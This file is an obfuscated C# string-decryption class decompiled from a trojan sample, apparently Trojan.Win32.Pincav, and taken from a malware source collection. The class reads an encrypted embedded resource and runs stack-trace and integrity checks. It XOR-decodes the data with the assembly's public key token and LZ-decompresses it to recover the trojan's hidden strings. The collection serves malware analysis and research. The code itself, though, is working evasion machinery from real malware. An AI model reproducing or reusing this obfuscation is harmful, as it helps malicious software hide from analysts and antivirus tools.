MalwareSourceCode/MSIL/Trojan/Win32/P/Trojan.Win32.Pincav.cmfl-3fa99ddd788dbbe91390f940f247e68ee6ef463b9a024c2781a0267f9ccc9501/_0002 .cs

// Decompiled with JetBrains decompiler
// Type:  
// Assembly: Random, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
// MVID: 29923E1C-4A06-46C3-B41C-690DFD9D7396
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan.Win32.Pincav.cmfl-3fa99ddd788dbbe91390f940f247e68ee6ef463b9a024c2781a0267f9ccc9501.exe

using System;
using System.Collections.Generic;
using System.Diagnostics;
using System.IO;
using System.Reflection;
using System.Runtime.CompilerServices;
using System.Text;

internal static class \u0002\u2000
{
  private static readonly Dictionary<int, string> \u0002 = new Dictionary<int, string>(17);
  private static BinaryReader \u0003;
  private static byte[] \u0005;
  private static short \u0008;
  private static int \u0006;
  private static byte[] \u000E;

  [MethodImpl(MethodImplOptions.NoInlining)]
  internal static string \u0002(int _param0)
  {
    lock (\u0002\u2000.\u0002)
    {
      string str1;
      byte[] numArray1;
      for (; !\u0002\u2000.\u0002.TryGetValue(_param0, out str1); _param0 = ((int) numArray1[2] | (int) numArray1[3] << 16 | (int) numArray1[0] << 8 | (int) numArray1[1] << 24) ^ -_param0)
      {
        if (\u0002\u2000.\u0003 == null)
        {
          Assembly executingAssembly = Assembly.GetExecutingAssembly();
          Assembly.GetCallingAssembly();
          \u0002\u2000.\u0006 = 1610370;
          Stream manifestResourceStream = executingAssembly.GetManifestResourceStream("   \u200B \u200B       ");
          int skipFrames = 1;
          StackTrace stackTrace = new StackTrace(skipFrames, false);
          \u0002\u2000.\u0006 ^= 6470 | skipFrames;
          int index = skipFrames - 1;
          StackFrame frame = stackTrace.GetFrame(index);
          MethodBase methodBase = frame == null ? (MethodBase) null : frame.GetMethod();
          \u0002\u2000.\u0006 ^= index + 128;
          Type type = (object) methodBase == null ? (Type) null : methodBase.DeclaringType;
          if (frame == null)
            \u0002\u2000.\u0006 ^= 219315;
          bool flag = (object) type == (object) typeof (RuntimeMethodHandle);
          \u0002\u2000.\u0006 ^= 160;
          if (!flag)
          {
            flag = (object) type == null;
            if (flag)
              \u0002\u2000.\u0006 ^= 219283;
          }
          if (flag == (stackTrace != null))
            \u0002\u2000.\u0006 ^= 32;
          \u0002\u2000.\u0006 ^= 6502 | index + 1;
          \u0002\u2000.\u0003 = new BinaryReader(manifestResourceStream);
          short count = (short) ((int) \u0002\u2000.\u0003.ReadInt16() ^ (int) (short) ~--~~-~-~-17251);
          if (count == (short) 0)
            \u0002\u2000.\u0008 = (short) ((int) \u0002\u2000.\u0003.ReadInt16() ^ (int) (short) (-~-~~--~~-1747207945 ^ 1747217215));
          else
            \u0002\u2000.\u0005 = \u0002\u2000.\u0003.ReadBytes((int) count);
          Assembly assembly = executingAssembly;
          AssemblyName assemblyName;
          try
          {
            assemblyName = assembly.GetName();
          }
          catch
          {
            assemblyName = new AssemblyName(assembly.FullName);
          }
          \u0002\u2000.\u000E = assemblyName.GetPublicKeyToken();
          if (\u0002\u2000.\u000E != null && \u0002\u2000.\u000E.Length == 0)
            \u0002\u2000.\u000E = (byte[]) null;
          \u0002\u2000.\u0006 = \u0002\u2000.\u0006 & 268435314 ^ 6788;
        }
        int num1 = _param0 ^ -1045613755;
        \u0002\u2000.\u0003.BaseStream.Position = (long) num1;
        byte[] numArray2;
        if (\u0002\u2000.\u0005 != null)
        {
          numArray2 = \u0002\u2000.\u0005;
        }
        else
        {
          short count = \u0002\u2000.\u0008 != (short) -1 ? \u0002\u2000.\u0008 : (short) ((int) \u0002\u2000.\u0003.ReadInt16() ^ 13891 ^ num1);
          numArray2 = count != (short) 0 ? \u0002\u2000.\u0003.ReadBytes((int) count) : (byte[]) null;
        }
        int num2 = \u0002\u2000.\u0003.ReadInt32() ^ num1 ^ ~-~-~--~~-~-1084951238;
        if (num2 == -2)
        {
          numArray1 = \u0002\u2000.\u0003.ReadBytes(4);
          _param0 = 1084951234;
        }
        else
        {
          bool flag1 = (num2 & int.MinValue) != 0;
          bool flag2 = (num2 & 1073741824) != 0;
          int count = num2 & 1073741823;
          byte[] numArray3 = \u0003\u2000.\u0002(numArray2, \u0002\u2000.\u0003.ReadBytes(count));
          if (\u0002\u2000.\u000E != null != (\u0002\u2000.\u0006 != 1607814))
          {
            for (int index = 0; index < count; ++index)
            {
              byte num3 = \u0002\u2000.\u000E[index & 7];
              byte num4 = (byte) ((int) num3 << 3 | (int) num3 >> 5);
              numArray3[index] = (byte) ((uint) numArray3[index] ^ (uint) num4);
            }
          }
          int num5 = \u0002\u2000.\u0006 - 12;
          byte[] bytes;
          int length;
          if (!flag2)
          {
            bytes = numArray3;
            length = count;
          }
          else
          {
            length = (int) numArray3[2] | (int) numArray3[0] << 16 | (int) numArray3[3] << 8 | (int) numArray3[1] << 24;
            bytes = new byte[length];
            \u0002\u2000.\u0002(numArray3, 4, bytes);
          }
          string str2;
          if (flag1 && num5 == 1607802)
          {
            char[] chArray = new char[length];
            for (int index = 0; index < length; ++index)
              chArray[index] = (char) bytes[index];
            str2 = new string(chArray);
          }
          else
            str2 = Encoding.Unicode.GetString(bytes, 0, bytes.Length);
          int num6 = num5 + ((int) sbyte.MaxValue + (num5 & 3) << 5);
          if (num6 != 1611930)
            str2 = (_param0 + count ^ 936568 ^ num6 & 1293).ToString("X");
          string str3 = string.Intern(str2);
          \u0002\u2000.\u0002.Add(_param0, str3);
          if (\u0002\u2000.\u0002.Count == 17)
          {
            \u0002\u2000.\u0003.Close();
            \u0002\u2000.\u0003 = (BinaryReader) null;
            \u0002\u2000.\u0005 = \u0002\u2000.\u000E = (byte[]) null;
          }
          return str3;
        }
      }
      return str1;
    }
  }

  private static int \u0002(byte[] _param0, int _param1, byte[] _param2)
  {
    int num1 = 0;
    int num2 = 0;
    int num3 = 128;
    int length = _param2.Length;
label_9:
    while (num1 < length)
    {
      if ((num3 <<= 1) == 256)
      {
        num3 = 1;
        num2 = (int) _param0[_param1++];
      }
      if ((num2 & num3) != 0)
      {
        int num4 = ((int) _param0[_param1] >> 2) + 3;
        int num5 = ((int) _param0[_param1] << 8 | (int) _param0[_param1 + 1]) & 1023;
        _param1 += 2;
        int num6 = num1 - num5;
        if (num6 < 0)
          return -1;
        while (true)
        {
          if (--num4 >= 0 && num1 < length)
            _param2[num1++] = _param2[num6++];
          else
            goto label_9;
        }
      }
      else
        _param2[num1++] = _param0[_param1++];
    }
    return 0;
  }
}